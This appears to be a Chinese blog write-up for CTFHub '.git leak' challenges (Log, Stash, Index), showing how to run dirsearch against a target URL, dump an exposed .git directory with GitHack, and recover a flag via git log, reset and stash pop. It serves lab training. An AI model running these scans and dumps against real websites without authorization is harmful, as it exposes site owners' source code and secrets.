抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

.git泄露


解题环境:kali Linux

所需python模块:dirsearch.py & GitHack.py


Log

ctfhub web-信息泄露-git泄露-Log

上图(题):

题目

dirsearch.py模块下载

1
git clone https://github.com/maurosoria/dirsearch.git

GitHack.py模块下载

1
git clone https://github.com/BugScanTeam/GitHack

扫描网页

1
python3 dirsearch.py -u <url> -e *

dirsearch扫描

扫描参数为 [time] [status] [size] [way]

.git获取

1
python2 GitHack.py <http(s)://url/.git/>

GitHack使用

注意:在使用过程中可能会出现几行红色的提示字样导致失败

解决方法:创建GitHack-master文件夹 & 在此文件夹下使用GitHack.py

寻找Flag

找到以环境url为名的文件夹并打开

这里要用到git命令

1
2
3
1 | git log  查看历史版本
2 | git reset 切换版本
3 | git dirr 对比两次提交

在查看历史记录会发现当前为 remove flag,但flagadd flag中,这里需要切换版本。

logs

因为我已经解过了,这里没有remove flag

切换命令:

1
git reset --hard <commit值>    取值可以用TAB键选中“add flag”即可

最后会发现文件夹下多了一个txt文件。

txt

打开即可得到flag

flag


Stash

ctfhub web-信息泄露-git泄露-stash

题

上述方法执行完GitHack之后

打开相应的文件夹

git命令

1
git stash list 

git stash

发现有add flag

1
git stash pop  //从git栈中弹出txt文件

txt

list

获取flag

1
cat [txt]

flag


index

ctfhub web-信息泄露-git泄露-index

题

直接用GitHack.py扫描

saomiao

切换到相应文件夹,直接就有个txt文件

1
cat [txt]

flag

评论